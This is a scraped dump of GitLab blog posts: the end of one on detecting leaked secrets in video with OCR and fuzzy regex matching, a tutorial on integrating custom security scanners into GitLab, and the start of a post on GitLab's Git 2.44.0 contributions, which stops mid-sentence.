open-source engine for OCR. This worked quite well and gave us confidence that the general approach was feasible. However, we decided to switch to [Google Cloud Platform's Video Intelligence API](https://cloud.google.com/video-intelligence/docs/) for the frame splitting and OCR for the simple reason of not having to scale and maintain our own implementation.\n\nFFmpeg and Tesseract are good options if third-party APIs cannot be used or if more control over the process is required. For example, if the secrets are only exposed for a brief moment in the video, using FFmpeg allows you to increase the frame sampling rate to analyze more frames per second and increases the chances of catching the frame that exposes the secret. The Video Intelligence API does not provide a comparable level of control. \n\nThe choice between the Video Intelligence API and FFmpeg + Tesseract also depends on the data set that has to be analyzed. The Video Intelligence API works well on our data set, which makes the additional complexity of a custom implementation based on FFmpeg + Tesseract hard to justify. After settling for the Video Intelligence API, it was a natural choice to host the rest of the scanner on GCP as well. The below diagram gives an overview of the design:\n\n![video content scanners - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099431138.png)\n\nThe scanner is implemented as a collection of cloud functions running on GCP. The cloud function `WebSub API` implements the WebSub [spec](https://www.w3.org/TR/websub/), which is used by YouTube to deliver notifications. Notifications of new videos are published to a PubSub topic, which the cloud function `Video Fetcher` is subscribed to. If a message is received, the video is downloaded and submitted for OCR to the Video Intelligence API. The resulting text extract is checked for secrets by the `Secret Matcher` and alerts are created in case a secret is found.\n\n## Accounting for inaccuracies in OCR\n\nThe described approach sounds simple enough, but as with most things, the devil is in the details. When comparing the video scanner to other secret scanning methods, a notable difference is how the video scanner determines if a given string literal is a secret. Secret detection tools usually determine if the given text contains a secret by matching the text against a list of regular expressions, each defining the format of a secret. If there is a match, a secret is detected.\n\n![video content scanners - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099431139.png)\n\n\u003Ccenter>\u003Ci>A video frame showing a GitLab access token\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nWhen it comes to video scanning, this approach has limited effectiveness due to the OCR step. In some instances, the recognized text does not quite match the text displayed in the video. For example, the above video frame shows the access token `glpat-HseyLLLE92Ubso2vyVeD` and OCR extracted the text `glpat-HseyLLLE92Ubso2vyVe\\`. The last character of the secret is `D`, but OCR extracted a backslash ( `\\`). This error causes the extracted text to no longer match the format of GitLab personal access tokens; therefore, simply matching the text against a regular expression conforming to the token format would have not detected the leaked access token.\n\nTo account for the inaccuracies that are introduced by the OCR step, the video scanner uses approximate regular expression matching where a string is not required to match a regular expression exactly, but small deviations in the strings are allowed. These deviations are expressed as string edit distance and define how many characters in the string need to be inserted, deleted, or substituted to make the string match a given regular expression. For example, the string edit distance for the previous example is 1 because the erroneously detected backslash has to be substituted with an alphanumeric character or a minus sign to make the string match the GitLab personal access token format.\n\nFinding the right value for the maximum edit distance for a string to still be considered to match a regular expression depends on the data set and requires some experimentation. If the value is too low, secrets might be missed and if the value is too high, strings that are not secrets will be matched. To find the right balance for our use case, we collected a data set of videos leaking secrets and ran them through our scanner pipeline. We measured precision (how many matches are not secrets) and recall (how many matches are relevant/true secrets) for different maximum edit distances. We collected this data for the two most relevant types of secrets: GitLab API access tokens and runner registration tokens. The below diagrams show the results.\n\nFor both types of secrets, the optimal maximum cost is 2, at which point a high precision and recall are achieved (97% precision and 91% recall for access tokens; 100% precision and 86% recall for runner registration tokens). Decreasing the maximum distance results in worse recall, while increasing the maximum cost leads to either no improvement (runner registration token) or adversely affects precision (access tokens).\n\n![video content scanner - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099431141.png)\n\n\u003Cp>\u003C/p>\n\n![video content scanner - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099431143.png)\n\n## Implementation made easy using GitLab Duo Chat\n\nAfter some initial experimentation, it was clear to us that approximate regular expression matching can increase the detection accuracy of our video scanner. However, the implementation turned out not to be trivial. While the [algorithms for approximate regular expression matching](https://www.tgries.de/agrep/) have existed since the '90s, there is no widespread library support. [TRE](https://laurikari.net/tre/) is a solid choice but is written in C and thus requires bindings to be called from the scanner’s runtime environment (Node.js).\n\nTo reduce the development effort, we turned to [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/). After discussing our options with Duo Chat for calling C from Node.js, we settled on [implementing a C++ add-on](https://nodejs.org/docs/latest-v20.x/api/addons.html). We quickly iterated towards a working implementation, which would have undoubtedly taken considerably more time without the help of GitLab Duo Chat. Below is an excerpt from the chat session.\n\n> Me: Are you familiar with the C library TRE? Can you help me write a Node.js addon that is a wrapper for TRE?\n\n> Duo: Here is the template for wrapping the TRE library in a Node.js addon using N-API:\n>\n>![video content scanner - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.51.14_AM_aHR0cHM6_1750099431144.png)\n>\n> The key steps are:\n> - Include TRE header\n> - Get tre regex_t from parameters\n> - Use tre_regcomp() to compile pattern\n> - Execute regexec()\n> - Handle TRE match results\n> - Return results back to JavaScript\n>\n> Let me know if this helps explain how to integrate TRE regex usage in a Node.js add-on!\n\n> Me: Ok, now let's add code for the tasks that you outlined in the template. I want to call this C++ from JavaScript like this:\n>\n>![video content scanners - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.53.05_AM_aHR0cHM6_1750099431145.png)\n>\n> In this example, the first parameter is the regular expression that should be used to create the parameter regex_t *preg, the second parameter is the string that should be matched against the regular expression, and the third parameter is an integer that represents TRE’s max_cost.\n\n>Duo: Here is example C++ code implementing TRE regex usage to match the provided JavaScript code snippet.\n>\n>![video content scanners - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.54.08_AM_aHR0cHM6_1750099431146.png)\n>\n> Let me know if you need any clarification on this implementation!\n\n> Me: Thank you for the code. Can you change the call tre_regexec to tre_regaexec?\n\n> Duo: Here is the code updated to use tre_regaexec instead of tre_regexec:\n>\n>![code updated to use tre_regaexec instead of tre_regexec](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.56.29_AM_aHR0cHM6_1750099431146.png)\n>\n> The key changes are:\n> - Using `tre_regaexec` instead of `tre_regexec`\n> - Initializing a `regamatch_t` instead of `regmatch_t`\n> - Passing a regaparams_t struct to configure match parameters\n> \n> Let me know if you need any clarification or have additional questions!\n\nWhile the code generation capabilities are very impressive and save a lot of time, the generated code needs review and sometimes correction. For example, in our session with Duo Chat it is prompted to call [tre_regaexec](https://laurikari.net/tre/documentation/regaexec/), but the generated code is calling the similarly named, but distinct function [tre_regexec](https://laurikari.net/tre/documentation/regexec/). Typically it is enough to make Duo Chat aware of its mistake and it will correct the code in question. In this respect, working with Duo Chat feels like pair programming rather than fully outsourcing a programming task.\n\nThe full add-on code is available [here](https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/tre-node-bindings/).\n\n## Try our open-source implementation\n\nWe are [making the implementation of the scanner open source](https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/youtube-video-scanner) under the MIT license. We hope this solution can help you with detecting secrets in your own video content. Please [share your feedback in an issue](https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/youtube-video-scanner/-/issues/new).",[696,815,674],{"slug":6751,"featured":92,"template":678},"how-to-detecting-secrets-in-video-content","content:en-us:blog:how-to-detecting-secrets-in-video.yml","How To Detecting Secrets In Video","en-us/blog/how-to-detecting-secrets-in-video.yml","en-us/blog/how-to-detecting-secrets-in-video",{"_path":6757,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6758,"content":6764,"config":6769,"_id":6771,"_type":16,"title":6772,"_source":17,"_file":6773,"_stem":6774,"_extension":20},"/en-us/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"title":6759,"description":6760,"ogTitle":6759,"ogDescription":6760,"noIndex":6,"ogImage":6761,"ogUrl":6762,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6762,"schema":6763},"How to integrate custom security scanners into GitLab","Learn how to extend the DevSecOps platform by adding custom security scanners to your workflows (includes an easy-to-follow tutorial).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097082/Blog/Hero%20Images/Blog/Hero%20Images/securitycheck_securitycheck.png_1750097081856.png","https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to integrate custom security scanners into GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-27\",\n      }",{"title":6759,"description":6760,"authors":6765,"heroImage":6761,"date":6766,"body":6767,"category":674,"tags":6768},[1622],"2024-02-27","GitLab, the most comprehensive DevSecOps platform, has everything you need to plan, manage, build, deploy, secure, govern, and monitor your applications. However, there are instances where you may want to extend GitLab with third-party or custom tools. For example, you might need to migrate to a DevSecOps platform from separate solutions, evaluate third-party tools, or integrate proprietary or custom-built solutions into GitLab.\n\nHere's what is covered:\n- [GitLab DevSecOps platform extensibility](#gitlab-devsecops-platform-extensibility)\n- [GitLab security scanner integration](#gitlab-security-scanner-integration)\n  - [Merge request security widget](#merge-request-security-widget)\n  - [Pipeline Security section](#pipeline-security-section)\n  - [Vulnerability Report](#vulnerability-report)\n  - [Vulnerability pages](#vulnerability-pages)\n  - [Security dashboard](#security-dashboard)\n  - [Scan Result Policy integration](#scan-result-policy-integration)\n- [Tutorial: Integrating custom security scanners](#tutorial-integrating-custom-security-scanners)\n  - [Creating a custom security scanner](#creating-a-custom-security-scanner)\n  - [Integrating a custom security scanner with GitLab](#integrating-a-custom-security-scanner-with-gitlab)\n\n## GitLab DevSecOps platform extensibility\n\nGitLab can be extended in many ways to support enhanced functionality that your organization may require. Some common examples of these integrations include:\n\n- external application integrations such as Jenkins and Slack\n- external issue tracking integrations such as Bugzilla and Jira\n- external authentication provider integrations such as LDAP and SAML\n- external security scanner integrations such as Fortify and Checkmarx\n- ability to respond to leaked secrets such as AWS and GCP access keys\n\nYou can see all the available integrations in the [Integrate with GitLab documentation](https://docs.gitlab.com/ee/integration/). (Note: Not all integrations are listed in the documentation.)\n\n## GitLab security scanner integration\n\n[Third-party security scanners](https://docs.gitlab.com/ee/integration/#security-improvements) or [custom-built security scanners](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration) can be integrated into GitLab to populate the merge request widget, Pipeline Security section, Vulnerability Report, vulnerability pages, Security dashboard, and Scan Result Policies. Let's review each integration.\n\n### Merge request security widget\n\nA merge request contains a security widget which displays a summary of the newly detected vulnerabilities.\n\n![integrating security scanners - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097088837.png)\n\n\u003Ccenter>\u003Ci>Merge request security widget\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nWhen you click on a vulnerability, you will see a popup that contains the following information:\n- status\n- description\n- project\n- file\n- identifiers\n- severity\n- tool\n- scanner provider\n\n![integrating security scanners - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097088838.png)\n\n\u003Ccenter>\u003Ci>Actionable vulnerabilities with details\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nThese vulnerabilities are also actionable, which means that they can either be dismissed or a confidential issue can be created.\n\nThe results of a custom scanner can be used to populate the security widget. The vulnerability data is populated from the JSON schema the scanner emits.\n\n### Pipeline Security section\n\nAll enabled security analyzers run in the pipeline and output their results as artifacts. These artifacts are processed, including deduplication, and the results are listed on the Pipeline Security tab. From here, you can also download the resulting JSON files.\n\n![integrating security scanners - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097088840.png)\n\n\u003Ccenter>\u003Ci>Pipeline Security tab\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner can be used to populate the Pipeline Security tab. The columns are filled in using the JSON schema the scanner emits.\n\n### Vulnerability Report\n\nThe Vulnerability Report provides information about vulnerabilities from scans of the default branch, including:\n\n- totals of vulnerabilities per severity level\n- filters for common vulnerability attributes\n- details of each vulnerability, presented in tabular layout\n\n![integrating security scanners - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097088842.png)\n\n\u003Ccenter>\u003Ci>Vulnerability Report\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner on the default branch can be used to populate the Vulnerability Report.\n\n### Vulnerability pages\n\nClicking on a vulnerability present within the Vulnerability Report takes you to its vulnerability page. Each vulnerability in a project has a vulnerability page that provides details such as:\n\n- description\n- when it was detected\n- current status\n- location detected\n- available actions\n- linked issues\n- actions log\n- solutions\n- identifier\n- training\n\nYou can use the data provided in the vulnerability page to triage a detected vulnerability as well as assist in its remediation.\n\n![integrating security scanners - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097088844.png)\n\n\u003Ccenter>\u003Ci>Vulnerability page for secret detection vulnerability\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner can be used to populate the vulnerability page. The vulnerability data is populated from the JSON schema the scanner emits.\n\n### Security dashboard\n\nSecurity dashboards are used to assess the security posture of your applications. GitLab provides you with a collection of metrics, ratings, and charts for the vulnerabilities detected by the security scanners run on your project. The security dashboard provides data such as:\n\n- vulnerability trends over a 30-, 60-, or 90-day timeframe for all projects in a group\n- a letter grade rating for each project based on vulnerability severity\n- the total number of vulnerabilities detected within the last 365 days and their severity levels\n\n![integrating security scanners - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097088846.png)\n\n\u003Ccenter>\u003Ci>Group-level Security dashboard\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nFrom the group-level Security dashboard you can click on a project to access its specific Security dashboard, which provides the 365-day view.\n\n![integrating security scanners - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097088847.png)\n\n\u003Ccenter>\u003Ci>Project-level Security dashboard\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n### Scan Result Policy integration\n\nScan Result Policies are used to require approval based on the findings of one or more security scan jobs. This can prevent insecure code from being merged to production. Scan Result Policies are evaluated after a CI scanning job is fully executed, where policies are evaluated based on the job artifact reports that are published in the completed pipeline.\n\nFor example, you can create a Scan Result Policy that requires approval from project maintainers if a secret detection scanner finds any vulnerabilities. Here's how:\n\n1. On the left sidebar, select **Search or go to** and search for the project you wish to add a policy to.\n2. On the project left sidebar, go to **Secure > Policies**\n3. Select **New policy**\n4. In the **Scan result policy** section, select **Select policy**.\n5. Complete the fields:\n- Name: The name of the Policy\n- Description: The description of the Policy\n- Policy status: Whether it is enabled or not\n- Rules: The conditions that must be met for an action (require approval) to take place\n\n![integrating security scanners - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097088849.png)\n\u003Ccenter>\u003Ci>Scan Result Policy rules\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Actions: The action to be taken whenever the conditions in the rules (defined vulnerabilities/licenses detected) are met\n\n![integrating security scanners - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097088850.png)\n\n\u003Ccenter>\u003Ci>Scan Result Policy actions\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Override project approval settings: If selected, the following choices will overwrite project settings but only affect the branches selected in the policy\n\n![integrating security scanners - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097088851.png)\n\n \u003Ccenter>\u003Ci>Scan Result Policy approval settings\u003C/i>\u003C/center>\n \u003Cp>\u003C/p>\n\n6. Press the \"Configure with a merge request\" button.\n\nOnce the Scan Result Policy has been merged, whenever you create a merge request and the criteria defined in the rules are met, then the defined action will be triggered. In this case, at least one approval will be required from a maintainer before the code can be merged.\n\n![integrated security scanner - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097088852.png)\n\n\u003Ccenter>\u003Ci>Blocked merge request due to detected vulnerabilities\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner can be fully integrated with Scan Result Policies. If the custom scanner detects a vulnerability, then approval will be required before the code can be merged. The scanner you select in a Scan Result Policy must be leveraging the appropriate JSON schema.\n\n## Tutorial: Integrating custom security scanners\n\nNow let’s get to the fun part – integrating a custom security scanner. In this tutorial, you will learn how to create a custom security scanner, as well as how to integrate it with GitLab. We will be leveraging the following projects:\n\n- [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner): Scans your files looking for specific patterns such as passwords, private keys, and social security numbers.\n- [Secret list](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/secret-list): Contains a list of user passwords, clients, and keys. This project is used to showcase how a custom security scanner can be integrated into GitLab.\n\nYou can watch the following video to see how the application was created and how it is used in detail:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/timMbl5SP-w?si=R2DKtZ5MmBR1rQFL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Creating a custom security scanner\n\nNow let’s create a custom scanner that can be integrated into GitLab. Before a custom scanner can be fully integrated with GitLab, the scanner must:\n- scan a directory for defined patterns\n- emit a JSON following the appropriate schema\n- be containerized and accessible\n- provide a template to allow it to be run on another project\n\nWhen the [Fern Pattern scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) is run on a project using the provided template, it performs the following steps:\n1. Loads a set of rules which define patterns (regex) to detect.\n- Allow rules to be configurable to meet the changing needs of your organization.\n2. Scans files for defined patterns.\n3. Emits a JSON report following the Secret Detection schema.\n- Go templates are used in this project to create a JSON.\n- Depending on what your scanner will look for, make sure you use the appropriate schema.\n\nOnce the JSON report is loaded as an artifact into GitLab, it will populate the merge request widget, Vulnerability Report, vulnerability pages, Scan Result Policies, and Security dashboards as defined above.\n\n### Integrating a custom security scanner with GitLab\n\nOnce you have created your custom scanner that meets all the needs for integration, you can run it on GitLab.\n\nRunning a custom scanner is as easy as adding a template. We can see how the Fern Pattern scanner template is loaded by examining the `.gitlab-ci.yml` in the [Secret List](https://gitlab.com/gitlab-da/tutorials/security-and-governance/custom-scanner-integration/secret-list) project.\n\n1. Create a [.gitlab-ci.yml file](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file) in the project you want the scanner to run on.\n2. Include the [Custom Scanner template](https://docs.gitlab.com/ee/ci/yaml/includes.html).\n    - You should also be able to configure the template with environment variables.\n3. Commit the file to the main branch.\n\nOnce the file has been committed, you can see that the custom scanner will run in your pipeline. Once the pipeline is complete, the scanner will populate all the areas defined above in the [GitLab security scanner integration](#gitlab-security-scanner-integration) section.\n\n## Read more\n\nCheck out these resources to learn more about GitLab and the other ways you can extend your DevSecOps platform:\n\n- [Security Scanner GitLab Integration](https://docs.gitlab.com/ee/development/integrations/secure.html)\n- [GitLab Partner Integrations](https://docs.gitlab.com/ee/integration/)\n- [Custom Security Scanner Projects Group](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration)\n- [Automatic Response to a Secret Leak](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html)\n",[696,674,942,479],{"slug":6770,"featured":92,"template":678},"how-to-integrate-custom-security-scanners-into-gitlab","content:en-us:blog:how-to-integrate-custom-security-scanners-into-gitlab.yml","How To Integrate Custom Security Scanners Into Gitlab","en-us/blog/how-to-integrate-custom-security-scanners-into-gitlab.yml","en-us/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"_path":6776,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6777,"content":6782,"config":6787,"_id":6789,"_type":16,"title":6790,"_source":17,"_file":6791,"_stem":6792,"_extension":20},"/en-us/blog/gitlabs-contributions-to-git-2-44-0",{"title":6778,"description":6779,"ogTitle":6778,"ogDescription":6779,"noIndex":6,"ogImage":4137,"ogUrl":6780,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6780,"schema":6781},"GitLab's contributions to Git 2.44.0","Find out the topics that GitLab’s Git team – as well as the wider community – contributed to the latest Git release, including fast scripted rebases via git-replay.","https://about.gitlab.com/blog/gitlabs-contributions-to-git-2-44-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's contributions to Git 2.44.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-02-26\",\n      }",{"title":6778,"description":6779,"authors":6783,"heroImage":4137,"date":6784,"body":6785,"category":813,"tags":6786},[1817],"2024-02-26","The Git project recently released [Git 2.44.0](https://git-scm.com/downloads). In this blog post, we will highlight the contributions made by GitLab's Git team, as well as those from the wider Git community.\n\n## Fast scripted rebases via `git-replay`\n\nThe `git-rebase` command can be used to reapply a set of commits onto a different base commit. This can be quite useful when you have a feature branch where the main branch it was originally created from has advanced since creating the feature branch.\n\nIn this case, `git-rebase` can be used to reapply all commits of the feature branch onto the new commits of the main branch.\n\nSuppose you have the following commit history with the main development branch `main` and your feature branch `feature`:\n\n![main and feature branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678099/Blog/Content%20Images/Screenshot_2024-02-20_at_2.15.37_PM.png)\n\nYou have originally created your feature branch from `m-2`, but since then the `main` branch has gained two additional commits. Now `git-rebase` can be used to reapply your commits `f-1` and `f-2` on top of the newest commit `m-4`:\n\n![applying git-rebase](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678099/Blog/Content%20Images/Screenshot_2024-02-20_at_2.16.28_PM.png)\n\nYou can see this functionality in GitLab when you create a merge request. When you want to reapply the commits of your merge request onto new commits in the target branch, all you have to do is [to create a comment that contains the `/rebase` command](https://docs.gitlab.com/ee/topics/git/git_rebase.html#rebase-from-the-ui). The magic then happens behind the scenes.\n\nThere is one problem though: `git-rebase` only works on repositories that have a worktree (a directory where a branch, tag or commit has been checked out). The repositories we host at GitLab are “bare” repositories, which don’t have a worktree. This means that the files and directories tracked by your commits are only tracked as Git objects in the `.git` directory of the repository. This is mostly done to save precious disk space and speed up operations.\n\nIn the past, we used [libgit2](https://libgit2.org/) to implement rebases. But for various reasons, we decided to remove this dependency in favor of only using Git commands to access Git repositories. But this created a problem for\nus because we could neither use libgit2 nor `git-rebase` to perform rebases. While we could create an ad-hoc worktree to use `git-rebase`, this would have been prohibitively expensive in large monorepos.\n\nLuckily, [Elijah Newren](https://www.linkedin.com/in/elijah-newren-0a41665/) has upstreamed a new merge algorithm called `merge-ort` in Git 2.33. Despite being significantly faster than the old `recursive` merge strategy in almost all cases, it also has the added benefit that it can perform merges in-memory. In practice, this also allows us to perform such rebases in-memory.\n\nEnter `git-replay`, which is a new command that does essentially the same thing as `git-rebase` but in-memory, thus not requiring a worktree anymore. This is an\nimportant building block to allow us to develop faster rebasing of merge requests in the future.\n\nYou may ask: Why a new command instead of updating `git-rebase`? The problem here was that `git-rebase` is essentially a user-focused command (also called a\n\"porcelain\" command in Git). Thus it performs several actions that are not required by a script at all, like, for example, executing hooks or checking out files into the worktree. The new `git-replay` command is a script-focused\ncommand (also called a \"plumbing\" command in Git) and has a different set of advantages and drawbacks. Furthermore, besides doing rebases, we plan to use it to do cherry-picks and reverts in the future, too.\n\nThis topic was a joint effort by [Elijah Newren](https://www.linkedin.com/in/elijah-newren-0a41665/) and\n[Christian Couder](https://www.gitlab.com/chriscool).\n\n## Commit-graph object existence checks\n\nYou may know that each commit can have an arbitrary number of parents:\n\n- The first commit in your repository has no parents. This is the \"root\" commit.\n- Normal commits have a single parent.\n- Merge commits have at least two, but sometimes even more than two parents.\n\nThis parent relationship is part of what forms the basis of Git's object model and establishes the object graph. If you want to traverse this object graph, Git must look up an entry point commit and from there walk the parent chain of commits.\n\nTo fully traverse history from the newest to the oldest commit, you must look up and parse all commit objects in between. Because repositories can consist of hundreds of thousands or even millions of such commits, this can be\nquite an expensive operation. But users of such repositories still want to be able to, for example, search for a specific commit that changes a specific file\nwithout waiting several minutes for the search to complete.\n\nThe Git project introduced a commit-graph data structure a long time ago that essentially caches a lot of the parsed information in a more accessible data structure. This commit-graph encodes the parent-child relation and some additional information, like, for example, a [bloom filter](https://en.wikipedia.org/wiki/Bloom_filter) of changed\nfiles.\n\nThis commit-graph is usually updated automatically during repository housekeeping. Because housekeeping only runs every so often, the commit-graph can be missing entries for recently added commits. This is perfectly fine and expected to happen, and Git knows to instead look up and parse the commit object in such a case.\n\nNow, the reverse case also theoretically exists: The commit-graph contains cached information of an object that does not exist anymore because it has been deleted without regenerating the commit-graph. The consequence would\nbe that lookups of this commit succeed even though they really shouldn't. To avoid this, in Git 2.43.0, we upstreamed a change into Git that detects commits\nthat exist in the commit-graph but no longer in the object database.\n\nThis change requires us to do an existence check for every commit that we parse via the commit-graph. Naturally, this change leads to a performance regression, which was measured to be about 30% in the worst case. This was\ndeemed acceptable though, because it is better to return the correct result slowly than to return the wrong result quickly. Furthermore, the commit-graph still results in a significant performance improvement compared to not using the commit-graph at all. To give users an escape hatch in case they do not want this performance regression, we also introduced a `GIT_COMMIT_GRAPH_PARANOIA` environment variable that can be used to disable this check.\n\nAfter this change was merged and released though, we heard of cases where the impact was even worse than 30%: counting the number of commits via `git rev-list --count` in the Linux repository regressed by about 100%. After some\ndiscussion upstream, we changed the default so that we no longer verify commit existence for the commit-graph to speed up such queries again. Because repository housekeeping should ensure that commit-graphs are consistent, this change should stop us from needlessly pessimizing this uncommon case.\n\nThis change was implemented by\n[Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Making Git ready for a new ref backend\n\nA common theme among our customers is that large monorepos with many refs create significant performance problems with many workloads. The range of problems here are manyfold, but the more refs a repository has, the more pronounced the problems become.\n\nMany of the issues are inherent limitations of the way Git stores refs. The so-called `files` ref backend uses a combination of two mechanisms:\n- \"Loose refs\" are simple files that contain the object ID they point to.\n- \"Packed refs\" are a single file that contains a collection of refs.\n\nWhenever you update or create a ref, Git creates them as a loose ref. Every once in a while, repository housekeeping then compresses all loose refs into the `packed-refs` file and deletes the corresponding loose refs. A typical repo looks as follows:\n\n```shell\n $ git init --ref-format=files repo\nInitialized empty Git repository in /tmp/repo/.git/\n $ cd repo/\n $ git commit --allow-empty --message \"initial commit\"\n $ tree .git/\n.git/\n├── config\n├── HEAD\n├── index\n└── refs\n\t├── heads\n\t│   └── main\n\t└── tags\n $ cat .git/HEAD\nref: refs/heads/main\n $ cat .git/refs/heads/main\nbf1814060ed3a88bd457ac4dca055d000ffe4482\n\n $ git pack-refs --all\n $ cat .git/packed-refs\n# pack-refs with: peeled fully-peeled sorted\nbf1814060ed3a88bd457ac4dca055d000ffe4482 refs/heads/main\n```\n\nWhile this model has served the Git project quite well, relying on a filesystem like this has several limitations:\n- Deleting a single ref requires you to rewrite the `packed-refs` file, which can be gigabytes in size.\n- It is impossible to do atomic reads because you cannot atomically scan multiple files at once when a concurrent writer may modify some refs.\n- It is impossible to do atomic writes because creating or updating several refs requires you to write to several files.\n- Housekeeping via `git-pack-refs` does not scale well because of its all-into-one repacking nature.\n- The storage format of both loose and packed refs is inefficient and wastes disk space.\n- Filesystem-specific behavior can be weird and may restrict which refs can be created. For example, Case-insensitivity on filesystems like FAT32 can cause issues, when trying to create two refs with the same name that only differ in their case.\n\nSeveral years ago, [Shawn Pearce](https://sfconservancy.org/blog/2018/jan/30/shawn-pearce/) had proposed the \"reftable\" format as an alternative new format to store refs in a repository. This new format was supposed to help with most or all of the above issues and is essentially a\nbinary format specifically catered towards storing references in Git.\n\nThis new \"reftable\" format has already been implemented by\n[JGit](https://www.eclipse.org/jgit/) and is used extensively by the [Gerrit project](https://www.gerritcodereview.com/). And, in 2021, [Han-Wen Nienhuys](https://www.linkedin.com/pub/dir/han-wen/nienhuys) upstreamed a library to read and write reftables into the Git project. What is still missing though is the backend that ties together the reftable library and\nGit, and unfortunately progress has stalled here. As we experience much of the pain that the reftable format is supposed to address, we decided to take over the work from Han-Wen and continue the upstreaming process.\n\nBefore we can upstream the reftable backend itself though, we first had to prepare several parts of Git for such a new backend. While the Git project already has a concept of different ref backends, the boundaries were very blurry because until now there only exists a single \"files\" backend.\n\nThe biggest contribution by GitLab in this release was thus a joint effort to prepare all the parts of Git for the new backend that were crossing boundaries:\n- Some commands used to read or write refs directly via the filesystem without going through the ref backend.\n- The ref databases of worktrees created via `git-worktree` were initialized ad-hoc instead of going through the ref backend.\n- Cloning a repository created the ref database with the wrong object format when using SHA256. This did not matter with the \"files\" backend because the format was not stored anywhere by the 